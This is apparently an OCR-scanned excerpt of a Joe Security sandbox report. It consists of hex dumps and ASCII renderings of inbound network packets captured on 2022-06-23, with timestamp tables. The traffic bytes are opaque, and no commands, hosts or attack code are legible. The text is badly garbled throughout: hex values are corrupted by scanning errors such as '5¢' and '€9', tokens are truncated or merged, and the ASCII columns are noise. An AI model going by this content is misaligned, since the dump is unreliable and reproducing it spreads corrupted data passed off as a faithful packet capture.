12 a6 d7 f1 fc 58 0d f9 7b 86 84 98 0d 3c 01 30 6a b9 26 48 d3 89 ce 5e 4a 5a 38 0a 40 35 d8 a4 19 05 61 c5 80 4c 30 33
b8 1c de 09 78 6b 41 30 d3 c7 a2 d3 bb 77 af 82 01 5¢ ca 5a 7d 58 0d f9 7b 86 84 98 0d 06 4d e6 19 fb 93 3c a8 bc 1c 5b
cd 2c 5f 6¢c a5 58 0d f9 7b 86 84 98 0d d2 99 4c 40 bd 16 d6 f8 fc 34 ae ec e0 3b eb 2e 2f 56 be 9a 55 fa fe 6b 8b cb 81 41
cc 70 d7 48 d7 ¢3 19 86 €0 6d ca 15 6¢ 54 a4 42 45 20 49 a2 Ob f9 d9 65 4c 83 57 63 58 0d f9 7b 86 84 98 0d b4 05 6e fc
42 c3 ¢4 9c 44 55 85 81 bd 44 cc f0 58 0d f9 7b 86

Data Ascii: KH,s|1}&q<y"*<:6AZDF9UmMOK+X{<0j&H"JZ8@5aL 03XKAOW\Z}IX{M<[,_IX{L@4;./VUKApHmMITBE leLWcX{nB
DUDX{

Data Raw: 98 0d 3c 01 30 6a b9 26 48 d3 d3 8c el 3d c2 1e ef f7 9d 5b b1 7e 1c fa cO 35 07 12 Ob 66 f1 b3 5¢ 97 24 el
3194 fc 6a 86 5b ca af 32 a8 d8 91 77 b5 el 84 3b al eb f7 7d 09 46 4b 15 93 cc 7c 4b 08 3c a7 3b 18 4a 7c 34 12 07 12
0b 66 f1 b3 5¢c 97 ea 22 07 b4 05 9f 58 80 63 22 1d 8b fa 42 6f €9 07 12 Ob 66 f1 b3 5¢c 97 4d ae 9a 80 Oc a4 8e 88 6 9c
80 7d ad 39 08 a0 4c 30 33 b8 1c de 09 78 60 c2 10 cd c3 19 c8 6a f2 7d 2d ee d9 14 e3 4e 58 0d f9 7b 86 84 98 0d 1d f9
2706 €119 17 cc 51 88 c5 d8 12 97 3e 59 e6 c9 b2 2c 44 3c 68 b9 4c 30 33 b8 1c de 09 78 b7 17 dd bb 69 e7 5b 28 b8
78 1a72 22 61 d8 1c 58 0d f9 7b 86 84 98 0d 3c 01 30 6a b9 26 48 d3 2d da 88 9c 9c Of e6 a8 54 07 c6 24 02 2e 93 d3
07 12 0b 66 f1 b3 5¢c 97 8c 04 2e 6a 8a 48 96 fb 9e b3 2d 3b 29

Data Ascii: <0j&H=[~5\$1j[2w;}FK|K<;J|41\"Xc"BofAM}9ILO3x j}-NX{'Q>Y,D<hL03xi[(xr"aX{<0j&H-T$.f\.jH-;)

Data Raw: 98 0d 3c 01 30 6a b9 26 48 d3 14 01 87 65 af 98 f5 d5 a3 53 41 ¢5 94 a5 81 86 4c 30 33 b8 1c de 09 78 68 24
5c 2a 25 d7 56 b7 6d 8f ce 22 59 32 19 71 58 0d f9 7b 86 84 98 0d 3c 01 30 6a b9 26 48 d3 b8 80 2e e8 37 9a 04 ba bf 78
26 €9 96 a9 ec 52 07 12 0b 66 f1 b3 5¢ 97 04 Ob 1b 24 eb cf dd bc 47 d5 63 af 75 39 56 dO 07 12 Ob 66 f1 b3 5¢ 97 fa a2
de fe 06 8e e4 2c 8e 4d 89 e9 ff 80 7b 10 94 a8 a5 47 bc 9d 03 3a 74 c1 08 1e ff 04 2c ae 2a 29 2f 37 5d 2a 14 5a a5 7b
Ob 89 5b 41 3f 65 07 12 0b 66 f1 b3 5¢c 97 €9 5b 57 bb 4e 93 5e 24 94 c9 2d da 25 78 7d 2c d7 ¢3 19 86 €0 6d ca 15 3f 50
9c 03 f4 7d e5 2f bf ac 7d 7c ae Oe eb 93 58 0d f9 7b 86 84 98 0d 1d f9 27 06 el 19 17 cc b9 9f f5 50 35 71 el d5 a9 c0 15
8c 2b b2 75 49 63 1b 51 Ob 3 b3 cc 6¢ 67 ee e4 ce cb

Data Ascii: <0j&HeSAL03xh$\*%Vm"Y2qX{<0j&H.7x&RA$GcudVA,M{G:t,*)/7]*Z{[A?ef\[WN"$-%x},m?P}/}| X{'P5q+ulcQlg

Data Raw: c9 ea 06 4d el 86 2c dO b7 e4 bd 3c d1 c4 17 c0 65 ¢3 9d f3 9a c9 5a 0d cf ae 18 f5 fa ef 1a 5b 8c 3f 5d 2d bd
78 79 43 f8 50 a2 b1 81 fe 4f a4 26 b9 2b 86 55 ea 51 30 86 00 60 14 c7 9a 26 f3 41 1f e2 06 8e 1d ff 68 d2 a4 aa 64 98
d8 55 db al 5e 18 ac eb f8 67 9c c6 be 87 d8 d1 97 86 15 a4 00 14 b4 a7 00 8a 6¢ 24 5f 01 48 99 49 Oe c5 6b 02 a9 37
c6 fb 33 4c d6 33 Oe 58 b4 21 a6 14 91 9e fO bb 1b 7e al 12 3f 9a 79 €9 ce 6 2e 97 67 3f 22 3f 87 53 1b 08 37 8b 4c 5a
9 6f 3f db 7a 04 df 45 8c b1 9a 5e ce b8 18 c0 69 72 de c8 c7 b2 c3 84 ef 18 a2 d8 17 52 76 c3 dd f1 e9 e9 b3 4f cd 1a 03
a6 06 ba f7 19 ee 9f 64 e6 7d 21 64 3 54 46 9a 9f 51 7a 09 4c b3 9d 75 b5 29 03 ec 75 44 09 4f 99 c5 3e €7 9d 7b d9 f3
83 a8 b2 dd 48 0f 78 85 69 06 ff 8f fe 92 Ob cd bf 53

Data Ascii: M,<eZ[?]-xyCPO&+UQO0 &AhdU"gl$_HIk73L3X!~?y.g?"?S7LZ0?zENrRvOd}!dTFQzLU)uDO>{HxiS

Data Raw: c3 23 e5 03 49 30 05 10 db 60 Ob b2 29 16 d8 8b dd 6a 39 €9 1e 1c c4 f8 ef 6d 88 7b el 13 e8 8b ae 3a cb 62
58 d3 a7 20 bb 1b fc c2 a6 9a 8e 86 3f 26 f8 80 01 cd bf ca 2b 67 bd 49 4e 38 f2 56 b3 a0 23 12 5c ba 61 75 b3 d1 99 b3
7537 eb 28 3e 1b 83 67 f8 ca 9d ff 63 d9 77 cc 75 €8 2b 5b a2 3e 19 8d ca 65 05 96 c9 9a 26 6e aa be 85 f8 Ob 62 00 64
bf 8a d4 al ee ce c3 34 37 9e 46 18 73 04 c5 €0 4a 48 6e 18 86 fe b4 02 83 6a 7d be Oc 05 a6 c5 69 3 ce c2 14 5e bc 38
41 df 01 3e c5 58 al 1c 67 e8 c1 35 5b ff 00 cd a4 e8 9e bd af 84 4e 75 f0 06 9a 60 72 94 f2 8¢ 1f ec el 1b €9 dc 92 7d
37 47 80 8c bf 14 6¢ 4e 95 ad 71 99 7e Of 25 9b 84 35 9e ce cc b4 b6 aa e9 3f 75 b2 48 0d df 92 c7 9f e2 6¢ a5 58 39 ae
72 fb df 10 ce 33 7c a0 12 93 42 d7 55 ¢4 77 7b 39 25 90

Data Ascii: #10°)j9m{:bX ?&+gIN8V#\auu7(>gcwu+[>e&nbd47FsIHnj}i"8A>Xg5[Nu r}7GINg~%5?uHIX9r3|BUW{9%

Data Raw: 2a af d3 cf 7f e4 6a 38 64 a6 99 9a Ob 32 82 el 4a c2 b1 35 2b 58 0f 87 a0 01 f2 07 2b ec ¢3 41 b7 55 fa a4 9e
3899 c3 c4 bb 92 4d 4d d3 fa a2 aa 8a 9e 07 eb 90 6f 88 9e 88 89 e6 cc d7 ad 29 a6 66 f0 44 4b 86 03 52 f9 da 89 49 77
4b Oc ce 35 9f aa 39 91 17 3b 86 00 97 cb 21 f4 cf f1 59 96 bd 8e 27 68 00 75 5c 68 82 bl cd d7 4a e6 a2 e0 59 d5 7a 90
5d 8e 02 88 7a 76 b7 fa 34 c9 9e c0 68 Oe 6b 82 a4 d1 fc 0d fO 43 69 f5 36 5 46 55 15 e8 66 68 7b cO cc 1e c3 30 03 1d
7 6f 13 71 8f c5 a3 ab 2f 8b 21 59 18 46 a7 5b 30 cf €6 dO 7d af 0d 25 44 01 35 96 76 €9 9b c8 21 94 f9 fO cd 13 11 4a 39
b7 40 75 94 3a 03 cc 38 8d a8 d1 d8 d1 29 e5 82 87 ac 96 1c aa 9f 85 ea 57 e8 04 ad bd a6 87 5a e8 36 4f 10 9a 4b 87 ff
84 02 d5 14 d2 ad aa be d6 ee a9 c6 59 2 5c ef e9

Data Ascii: 8d2J5+X+AUSMMOo)fDKRIWK59;!Y'hu\hJYz]zv4hkCi6FUfh{00q/!Y F[0}%D5v!I9@u:8)WZE0K Y\

Data Raw: fb bc 09 €6 07 2e b6 a2 8e el 34 8b d4 7a 7c d9 59 c4 a2 28 a3 b1 1e a4 89 86 al 35 7 38 9f 58 9f 5d 91 ad
75 ca 1d df d2 d7 73 60 33 42 d3 41 a6 7f 35 ad b9 5 cb 2e 09 20 18 60 db 76 ed b2 a7 d4 c5 36 58 ab 11 97 96 cc 63 77
2 48 9d 96 30 61 a7 72 3f d2 0d 5d b0 32 Ob a6 6e 71 a6 cc c3 58 12 23 38 9e 11 7a 3f 9f 20 26 4 92 e4 ce 90 37 74 25
f1 64 51 0f 08 1b ea aa 5d 36 44 a5 43 3¢ 28 1e ba d5 7 d7 fb e7 4a 28 1a 21 26 €5 71 3d 88 d4 54 15 db 5b 97 fd el 8¢
4170 63 16 18 33 b7 5b 72 41 6b 58 f1 39 8d 08 7 Ob be 8¢ ef 8f 87 65 df 08 a0 0d 28 15 a8 dd bf d3 71 38 a3 f2 b6 71 73
99 78 22 03 dd el d2 16 33 78 €8 c6 06 63 b3 1b 43 47 ee a7 4f €0 8d ec 2a cc 62 10 ¢6 3¢ 86 5 66 7a 6¢ d1 e3 85 40
6f 88 5c df fd 5¢ 4a 57 82 32 4d 51 al f0 af 5 5a f0 d4

Data Ascii: .4z|Y(58X]us 3BAS. "v6XcwH0ar?|2ngx#8z? &07t%dQ]6DC<(J(1&q=T[Apc3[rAkX9e(q8gsx"3xcCGO*b>
AZI@o\IW2MQZ

Data Raw: 5e ab 54 f6 69 5b 93 de cf Oe d0 06 99 25 ea 3c d2 a4 32 66 f9 Oe 5d 8f €8 7f a7 ed ae b0 c8 34 c3 ad 94 4f a6
4a eb 91 f9 da 92 cb 1b cb fc a6 20 39 71 38 7f 04 be 50 85 2d 7a 13 €0 9b 20 bb f0 dO 14 7f 3d 14 fa 79 64 43 3c 8e 1f
b9 6a 89 26 3b a7 ed ae b0 c8 34 c3 ad el aa 7a 14 b4 b7 fb de 92 cb 1b cb fc a6 20 39 23 7e 8b 39 c4 8a 2a 4e d9 31 dc
30 a3 c156 7c c9 38 31 5b 75 9e 80 51 fb 99 23 20 2c d3 ¢8 1d a7 ed ae b0 ¢8 34 c3 ad ¢8 65 b2 83 c9 57 62 33 92 ch
1b cb fc a6 20 39 1b 37 76 56 24 2a aa a4 f7 2b 97 a9 4d ce 64 98 17 60 53 4f e6 4f 68 1f 8a 3a 1d a9 39 35 34 7f a7 ed
ae b0 c8 34 c3 ad 8b 66 72 53 b7 e6 ea 2¢ 92 cb 1b cb fc a6 20 39 8e 90 e7 d0 09 6e 3b c6 ¢7 9d d6 a0 31 97 1e b2 7b
a6 de d1 90 7d e0 ad 28 9b ce 7e f5 ee b8 ee a7 ed ae b0 c8

Data Ascii: ~Ti[%<2f]40J 9q8P-z =ydC<|&;4z 9#~9*N10V|81[uQ# ,4eWb3 97vV$*+Md SOO:9544frS, 9n;1{}(~

Data Raw: 02 ac 00 14 8c d7 3b 31 b9 68 16 c9 be 74 c5 93 11 9a 16 5d bf b8 d9 48 19 db 14 21 5a 45 00 67 3c cb 24 26
2d b3 95 20 30 1a 80 la ed ch 9e Oe 28 45 d5 b7 e8 35 2f Ob 60 b2 2b €6 6b 5¢ 5e 35 ¢7 cb 49 ¢7 08 al 32 53 1a 89 73
3e b5 24 eb cf 65 ce f1 e9 4d 9a dd 2 27 f8 92 af 23 a5 57 03 49 ce f2 b4 ea 8d 1a 91 be 4d 8d 6a de bb bc Oc Oc 51 a0
59 cf 7b dd 42 4c 8f a3 d4 12 2a 5f 9b 43 Ob 1d ec 60 8a Oc 9b c4 43 fb 0d 34 ca fe ab 73 d3 23 bf 73 83 c9 e7 28 ff 03 91
91 6f 7e fb f5 5b d5 b7 €8 35 2f Ob 60 b2 3d 4a 9¢c 21 72 05 2d f7 93 70 Oe 08 93 cf cb 62 2f 1c 9a e2 58 35 f0 80 74 65 {7
71 e5 d2 cf c9 5f 79 bb 61 ff 28 19 ce b2 2b 9d 49 11 33 fd 26 c1 94 88 aa 3a 62 c7 8f 9f 63 6b 82 11 40 40 77 a6 90 1b 8¢
61 5f 30 eb 99 46 3a aa b5 7b 70 99 f9 96 b0 el 41

Data Ascii: ;1ht]HIZEg<$&- O(E5/ +k\"512Ss>$eM#WIMjQY{BL* _C C4s#s(o~[5/ =J!r-pb/X5teq_ya(+I3&:bck@@wa_OF:
{pA

Data Raw: 64 01 9d ad c7 27 b3 f6 39 e3 a3 c4 ed 78 03 3d 8e 92 79 Oe 8a 7e 63 34 de 84 31 dd 18 af 70 ac 23 ce 06 c7
91 ae 43 el 5b b5 47 48 15 2a cb be 38 04 Oc b7 de eb 1e 99 c9 6a 9d ad c7 27 b3 f6 39 €3 00 b5 14 73 67 b2 9e el 41
82 d8 80 55 a2 f7 04 Ob 57 a0 fc 2a 39 a8 75 74 Ob 68 €0 39 00 ab d1 47 48 15 2a cb be 38 04 99 3f d7 a5 cb 74 ce 39 c1
94 88 aa 3a 62 c7 8f 9e 83 09 94 9b 8e 03 99 Ob 31 16 c7 d1 bd b7 c3 4d bb 89 89 ad b2 f3 cf 30 15 fc ¢3 86 7b 9e fb cO
57 3b c9 bb 1 30 0d 81 66 80 7a 20 44 86 df d5 b7 8 35 2f Ob 60 b2 c3 d4 ab 5a ca d8 cf 5a e7 0f 4c 42 7b d5 24 18 79
a4 36 4f 2d 79 ¢4 11 73 5b 2¢ 60 41 17 b0 3f 35 e4 6b ec 8f 80 16 95 ef 7c 81 f6 2a 66 cd 3c d5 b7 e8 35 2f Ob 60 b2 68
44 25 2d 0f 18 ff 52 9a df a3 78 Ob Oc 40 af 1f d8 e9 8f 03

Data Ascii: d'9x=y~c41p#C[GH*8j'9sgAUW*9uth9GH*8?t9:b1MO{W;0fz D5/'ZZLB{$y60-ys[, A?5k|*f<5/"hD%-Rx@
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Timestamp transferred Direction
2022-06-23 16:20:08 UTC 1047 IN
2022-06-23 16:20:08 UTC 1055 IN
2022-06-23 16:20:08 UTC 1063 IN
2022-06-23 16:20:08 UTC 1070 IN
2022-06-23 16:20:08 UTC 1078 IN
2022-06-23 16:20:08 UTC 1086 IN
2022-06-23 16:20:08 UTC 1094 IN
2022-06-23 16:20:08 UTC 1102 IN
2022-06-23 16:20:08 UTC 1109 IN

Copyright Joe Security LLC 2022

Data

Data Raw: d9 6e 16 62 a5 7d fd 8b 99 1d 62 2a 6b 4a 06 27 2b a9 8b da 76 0d 6f a3 7e c7 e6 bd b4 f0 26 d7 7e 2e Oc Oa
bf fb be 4c 1c 25 b8 bd db a0 97 e5 fe 1f 14 5b 9a al ea ba 16 89 64 07 31 40 de 91 e5 Ob 9d ad c7 27 b3 f6 39 e3 d8 88
535013 75 4c 65 ec 1c 7a a7 19 05 f5 36 1b 5a 57 c4 29 3e 12 78 00 4d c3 43 43 87 15 3c 47 48 15 2a cb be 38 04 64
€2 91 6a 63 04 58 b6 9d ad c7 27 b3 f6 39 e3 9e d0 a3 a3 dd 39 4d 11 a5 ce d1 42 5a 29 22 56 44 32 4a a7 4c 51 7 64
ae b2 Oa e6 74 15 32 8c 47 48 15 2a cb be 38 04 92 04 Oa c7 94 cb ac f0 9d ad c7 27 b3 f6 39 e3 ef d6 3a b8 e4 7c e5 5
79 95 35 30 d5 f0 9b f2 2c a7 cf dc 31 51 eb de 7b 1f de b2 a2 11 0f 67 47 48 15 2a cb be 38 04 38 11 d8 52 04 81 86 3a
9d ad c7 27 b3 f6 39 e3 33 2f 75 35 €5 05 14 56 d9 72 f2 54 51

Data Ascii: nb}b*kJ'+vo~&~.L%[d1@'9SPuLez6ZW)>xMCC<GH*8djcX'99MBZ)"VD2JLQdt2GH*8'9:]y50,1Q{gGH*88R:'
93/usVITQ

Data Raw: 56 7e d9 38 e7 78 2a 70 7c a7 32 47 e3 c0 63 b8 bc a3 29 81 97 aa 80 f2 €9 82 01 ab ad 64 b6 e7 87 2e bc 3e
65 a6 dd 40 49 16 ed 90 63 86 7b 58 1b c3 fd b9 8e 82 22 de eb 17 d9 38 e7 78 2a 70 7c a7 bc a5 a3 a2 c1 d0 8b c3 29
81 97 aa 80 f2 €9 82 ec c8 1b 2a b6 4d 05 Oc bc 3e 65 a6 dd 40 49 16 ae bb 3f dd b8 cf 9c 4e 66 20 54 61 9f eb 9a 44 d9
38 e7782a70 7c a7 8b 4d 2f 0a 4c 00 67 29 29 81 97 aa 80 f2 e9 82 bf f0 e3 f4 2b 1d 74 67 bc 3e 65 a6 dd 40 49 16 f9
9a d9 a5 36 f9 91 43 66 20 54 61 9f eb 9a 44 d9 38 e7 78 2a 70 7c a7 30 5¢c eb 35 a4 a8 f1 45 29 81 97 aa 80 f2 €9 82 26
f2 0d c8 ac 41 6 ed bc 3e 65 a6 dd 40 49 16 f3 00 65 ed f9 Oe 80 2f 9a fe 30 36 62 ab 0d dc d9 38 e7 78 2a 70 7c a7 b0
e0 71 a5 99 c8 4d 50 29 81 97 aa 80 f2 e9 82 b6 96 e3 3a 87

Data Ascii: V~8x*p|2Gc)d.>e@Ic{X"8x*p|)*M>e@I?Nf TaD8x*p|M/Lg))+tg>e@I|6Cf TaD8x*p|0\5E)&A>e@Ie/06b8x
*plaMP):

Data Raw: c7 5¢c 50 88 88 7c d1 81 cd 60 d9 38 e7 78 2a 70 7c a7 2d ce 9d e7 cb 3c e7 2b 29 81 97 aa 80 f2 €9 82 09 b4
dd 45 1b 3b 96 dd bc 3e 65 a6 dd 40 49 16 f0 bc 72 77 9d dc b5 35 50 88 88 7c d1 81 cd 60 d9 38 e7 78 2a 70 7c a7 46 f1
90 d3 18 56 c6 6e 29 81 97 aa 80 f2 €9 82 e7 ca 84 39 24 92 36 05 bc 3e 65 a6 dd 40 49 16 91 29 13 e2 91 33 a8 f8 50
8888 7c d1 81 cd 60 d9 38 e7 78 2a 70 7c a7 82 88 e2 f7 22 b6 46 be 29 81 97 aa 80 f2 €9 82 ec 35 76 al 01 1e 00 fb bc
3e 65 a6 dd 40 49 16 5f 86 18 49 cb ff b5 0a 50 88 88 7c d1 81 cd 60 d9 38 e7 78 2a 70 7c a7 24 a6 34 16 7f 7 19 e0 29
81 97 aa 80 f2 e9 82 41 3d a8 9f 35 e5 c5 d2 bc 3e 65 a6 dd 40 49 16 df 07 b3 f4 13 fa dO fc 50 88 88 7c d1 81 cd 60 d9
38 e7 78 2a 70 7c a7 ff d1 6¢ 80 33 77 d3 2b 29 81 97 aa 80

Data Ascii: \P| 8x*p|-<+)E;>e@Irw5P| 8x*p|FVn)9$6>e@I)3P| 8x*p|"F)5v>e@I_IP| 8x*p|$4)A=5>e @IP| 8x*p|I3w+)

Data Raw: 49 16 18 07 21 c5 7 81 13 c¢1 88 65 38 da d1 df 02 74 d9 38 e7 78 2a 70 7c a7 a4 42 9b 9a b2 50 a8 34 29 81
97 aa 80 f2 e9 82 e4 77 85 03 68 89 06 4d bc 3e 65 a6 dd 40 49 16 82 dd 95 d1 ec ee 56 d9 88 65 38 da d1 df 02 74 d9
38e7782a70 7c a7 d8 4e Oe e5 5e 77 82 f4 29 81 97 aa 80 f2 9 82 f6 7c c9 1d Of Oa 36 53 bc 3e 65 a6 dd 40 49 16 2b
la 4113 bbfe ac 4b ea 24 7b a7 a7 6a 78 02 d9 38 e7 78 2a 70 7c a7 a9 a0 0d 93 2a ce c2 c0 29 81 97 aa 80 f2 e9 82
24 3f 60 9f 94 03 7d 3a bc 3e 65 a6 dd 40 49 16 5b c3 86 84 f2 02 47 b2 a7 9b 17 7 ef {6 92 9e d9 38 e7 78 2a 70 7c a7
b4 77 b5 a5 3b e6 05 fd 29 81 97 aa 80 f2 €9 82 9d c8 40 3f 5d 8a 5b a7 bc 3e 65 a6 dd 40 49 16 b0 b6 48 Of 1f 43 6f 8e
fe c4 15ca 32 2d 7d 0f d9 38 e7 78 2a 70 7c a7 3b 98 1a Oa 57

Data Ascii: 1!1e8t8x*p|BP4)whM>e@IVe8t8x*p|N w)|6S>e @I+AK${jx8x*p|*)$? }:>e@I[G8x*p|w;) @?][>e @IHC02-}8x*p|;W

Data Raw: 3d 7 bc 3e 65 a6 dd 40 49 16 9f 3d Oa d9 a3 06 5f e7 94 c2 3a 4b 67 2d 30 b5 d9 38 e7 78 2a 70 7c a7 73 9c
78 3b 7e 90 a2 2c 29 81 97 aa 80 f2 €9 82 59 21 a2 3d 8 33 ed 18 bc 3e 65 a6 dd 40 49 16 Ob 62 2f Oc 4d cd 3a ba 92 1a
2f 06 3c ee fa 9b d9 38 e7 78 2a 70 7c a7 c7 b9 29 b6 57 el e5 f5 29 81 97 aa 80 f2 €9 82 c1 7 d8 8¢ 3f 31 62 56 bc 3e
65 a6 dd 40 49 16 72 bl 73 9d 20 82 7a 4d 56 51 b4 f3 bf 6d b6 a6 d9 38 e7 78 2a 70 7c a7 9b 82 bc fd 99 4f fc 19 29 81
97 aa 80 f2 €9 82 7b 03 bc 2e Oe c4 95 45 bc 3e 65 a6 dd 40 49 16 76 7d 3b 3a 46 de 00 4f 3f 2c 94 4f b2 3a €0 85 d9 38
e7782a70 7c a7 6d c6 f3 5d 61 Oc b6 40 29 81 97 aa 80 f2 €9 82 6a 94 b2 b9 a6 e3 4f 37 bc 3e 65 a6 dd 40 49 16 73 bl
e252 13 8af4 c¢5dd 29 e2 5d 3b b9 75 d6 d9 38 e7 78 2a

Data Ascii: =>e@I=_:Kg-08x*p|sx;~,)Y!=3>e@Ib/M:/<8x*p|)W)?1bV>e@Irs zMVQmM8x*p|O).E>e@IVv};:FO?,0:8x*
plm]a@)j07>e@IsR)];u8x*

Data Raw: e9 82 94 20 42 51 93 ad 82 3a bc 3e 65 a6 dd 40 49 16 df a8 af e2 80 d1 e3 50 f0 81 3b 2 cb 6e eb ed d9 38
e7782a707ca7 c277310a72alace0 298197 aa80f2e9 82cl c818 e4 de dI 4a 2f bc 3e 65 a6 dd 40 49 16 1d 50
8 8 40 3e 9b 35 f0 81 3b 2 cb 6e eb ed d9 38 e7 78 2a 70 7c a7 68 65 95 €5 26 07 02 01 29 81 97 aa 80 f2 e9 82 37 73
d6 b3 18 89 aa 04 bc 3e 65 a6 dd 40 49 16 64 a5 50 65 73 dc 3 f0 f0 81 3b 2 cb 6e eb ed d9 38 7 78 2a 70 7c a7 81 ff
4d 39 c2 ca 3e c9 29 81 97 aa 80 f2 €9 82 e7 ch 62 ec 65 46 e6 ec bc 3e 65 a6 dd 40 49 16 Oc 36 45 01 2e f8 15 87 f0 81
3bf2 ch 6e eb ed d9 38 e7 78 2a 70 7c a7 bf 05 98 f6 11 ¢5 9c d0 29 81 97 aa 80 f2 €9 82 2f Oe 66 ae bl 72 25 70 bc 3e
65 a6 dd 40 49 16 33 db 71 66 a3 44 e6 de f0 81 3b f2 cb

Data Ascii: BQ:>e@IP;n8x*p|w1r)J/>e@IP@>5;n8x*p|he&)7s>e@IdPes;n8x*p|M9I>)beF>e@I6E.;n8x*p|)/fr%p>e@I3qfD;

Data Raw: 85 44 29 81 97 aa 80 f2 €9 82 55 53 2d ca 2c 57 6f 54 bc 3e 65 a6 dd 40 49 16 fb 6b 10 f6 9d 00 54 5a 9c a5
9b b4 a8 a7 30 3¢ d9 38 e7 78 2a 70 7c a7 e2 ff 35 45 90 6b fd 66 29 81 97 aa 80 f2 €9 82 50 07 73 a2 82 4f 06 98 bc 3e
65 a6 dd 40 49 16 50 ed 25 60 cc 29 a9 10 9c a5 9b b4 a8 a7 30 3¢ d9 38 e7 78 2a 70 7c a7 d6 1c af 87 c1 93 09 c2 29
81 97 aa 80 f2 e9 82 43 e4 4a 40 3f b5 32 87 bc 3e 65 a6 dd 40 49 16 a6 40 74 ec e4 ¢3 33 d5 9c a5 9b b4 a8 a7 30 3¢
d9 38 e7 78 2a 70 7c a7 58 b2 c6 49 39 3a 8d 21 29 81 97 aa 80 f2 e9 82 02 75 84 bb 52 8b 35 f8 bc 3e 65 a6 dd 40 49 1
6 f1 25328818 23 2d 63 9c a5 9b b4 a8 a7 30 3c d9 38 e7 78 2a 70 7c a7 26 d1 b4 03 4e 26 9b d0 29 81 97 aa 80 f2 e9
82 39 9f c5 84 40 19 2e 91 bc 3e 65 a6 dd 40 49 16 03 7a 21 25 70

Data Ascii: D)US-,WoT>e@IkTZ0<8x*p|5Ekf)PsO>e@IP%")0<8x*p|)CI@?2>e@|@t30<8x*p|X19:)uR5>e@1%2#-c0<8x
*P|&N&)9I@.>e@1z!%p

Data Raw: 7c a7 4a fe ea c7 ac 18 3a ee 29 81 97 aa 80 f2 €9 82 09 f5 5a f2 1a 41 59 fc bc 3e 65 a6 dd 40 49 16 bb 50 4a
9893 00 bc e9 a2 f5 al 28 9a 7d 11 98 d9 38 e7 78 2a 70 7c a7 70 10 99 a8 82 f4 48 96 29 81 97 aa 80 f2 €9 82 4b 89 9e
87 5 3d 6f 99 bc 3e 65 a6 dd 40 49 16 2d bd cf d7 df 57 3f fa 65 89 4b 86 40 b6 f1 7c d9 38 7 78 2a 70 7c a7 60 Of 92 ff
ac f0 9c 1d 29 81 97 aa 80 f2 €9 82 f5 61 85 80 68 ee 71 f7 bc 3e 65 a6 dd 40 49 16 b7 4a 78 ff d9 1c fa fc 65 89 4b 86 40
b6 f1 7c d9 38 e7 78 2a 70 7c a7 c3 dc 78 a8 c8 75 f8 bf 29 81 97 aa 80 f2 €9 82 57 21 34 b9 Oc c8 b1 19 bc 3e 65 a6 dd
4049 16 7e 8d 1b 9f 14 dc e6 19 89 43 27 29 5a 5e 24 a8 d9 38 e7 78 2a 70 7c a7 63 19 37 76 ff b8 7f f4 29 81 97 aa 80
f2 €9 82 6d f1 d1 5a 2f 07 f5 3b bc 3e 65 a6 dd

Data Ascii: |[3:)ZAY>e@IPJ(}8x*p|pH)K=0>e @I-W?eK@|8x*p|")ahq>e @1IxeK@|8x*p|xu)W!4>e@|~C")Z"$8x*p|c7V)
mZ/;>e

Data Raw: Ob b4 25 e6 fa 13 ¢9 8c 4b ed 34 db 9c 68 ef f1 a3 92 d6 b4 04 46 63 1b 26 1c c7 4e c7 05 46 a8 74 aa da 9b
ab ed 2f 5f 4a 7e d6 b4 04 46 63 1b 26 1c c7 4e c7 05 46 a8 74 aa 46 45 37 e3 9a 3b ed d6 f6 64 b7 8d da 29 Ob b4 6d 65
24 3f 8c b3 58 13 46 45 37 €3 9a 3b ed d6 f6 64 b7 8d da 29 Ob b4 6d 65 24 3f 8c b3 58 13 46 45 37 3 9a 3b ed d6 f6 64
b7 8d da 29 Ob b4 6d 65 24 3f 8c b3 58 13 46 45 37 €3 9a 3b ed d6 f6 64 b7 8d da 29 0b b4 6d 65 24 3f 8c b3 58 13 46 45
37 e39a3b ed d6 f6 64 b7 8d da 29 Ob b4 6d 65 24 3f 8c b3 58 13 46 45 37 €3 9a 3b ed d6 e6 ec 25 12 a2 c¢3 60 33 8¢
70 fe 44 75 97 cO b1 46 45 37 e3 9a 3b ed d6 f6 64 b7 8d da 29 0b b4 25 e6 fa 13 c9 8c 4b ed 34 db 9c 68 ef f1 a3 92 d6
b4 04 46 63 1b 26 1c c7 4e c7 05 46 a8 74 aa f1 85 d0 a0 6f

Data Ascii: %K4hFc&NFt/_J~FC&NFFE7;d)me$?XFE7;d)me$?XFE7;d)me$?XFE7;d)me$?XFE7;d)me$?XFE7

;% 3pDUFE7;d)%K4hFc&NFto
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kBytes

Timestamp transferred Direction
2022-06-23 16:20:08 UTC 1117 IN
2022-06-23 16:20:08 UTC 1125 IN
2022-06-23 16:20:08 UTC 1133 IN
2022-06-23 16:20:08 UTC 1141 IN
2022-06-23 16:20:08 UTC 1149 IN
2022-06-23 16:20:08 UTC 1156 IN
2022-06-23 16:20:09 UTC 1164 IN
2022-06-23 16:20:09 UTC 1172 IN
2022-06-23 16:20:09 UTC 1180 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 4b ed 46 45 37 e3 9a 3b ed d6 7b cd d6 b9 9c 39 33 c4 25 e6 fa 13 c9 8c 4b ed 46 45 37 e3 9a 3b ed d6 7b cd
d6 b9 9c 39 33 ¢4 25 e6 fa 13 c9 8¢ 4b ed 34 db 9c 68 ef f1 a3 92 6 45 a6 de da e9 8b 78 26 2a 59 98 6f d9 03 4a 34 db
9c 68 ef f1 a3 92 f6 45 a6 de da e9 8b 78 26 2a 59 98 6f d9 03 4a 46 45 37 €3 9a 3b ed d6 7b cd d6 b9 9c 39 33 c4 25 e6
fa 13 c9 8c 4b ed 46 45 37 e3 9a 3b ed d6 d6 b4 04 46 63 1b 26 1c 86 Oe a5 71 28 83 0Of ef 46 45 37 €3 9a 3b ed d6 e6 ec
2512 a2 ¢3 60 33 8¢ 70 fe 44 75 97 c0 b1 46 45 37 €3 9a 3b ed d6 f6 64 b7 8d da 29 Ob b4 6d 65 24 3f 8c b3 58 13 46 45
37e39a3bedd6e6ec2512a2c36033615e7b30fclbal 17 46 45 37 e3 9a 3b ed d6 d6 b4 04 46 63 1b 26 1c 86
Oe a5 71 28 83 Of ef 34 db 9c 68 ef f1 a3 92 f6 45 a6 de da

Data Ascii: KFE7;{93%KFE7;{93%K4hEx&*Y0J4hEx&*Y0JFE7{93%KFE7;Fc&q(FE7;% 3pDUFE7;d)me$?XFE

7;% 3a™OFE7;Fc&q(4hE

Data Raw: 25 9f 09 df 17 41 8d 59 85 ab 04 73 3f f4 92 ef 17 73 7d be 25 87 57 Oa 25 9f 5a 8a 38 ee da 91 0d ca 31 4e 37
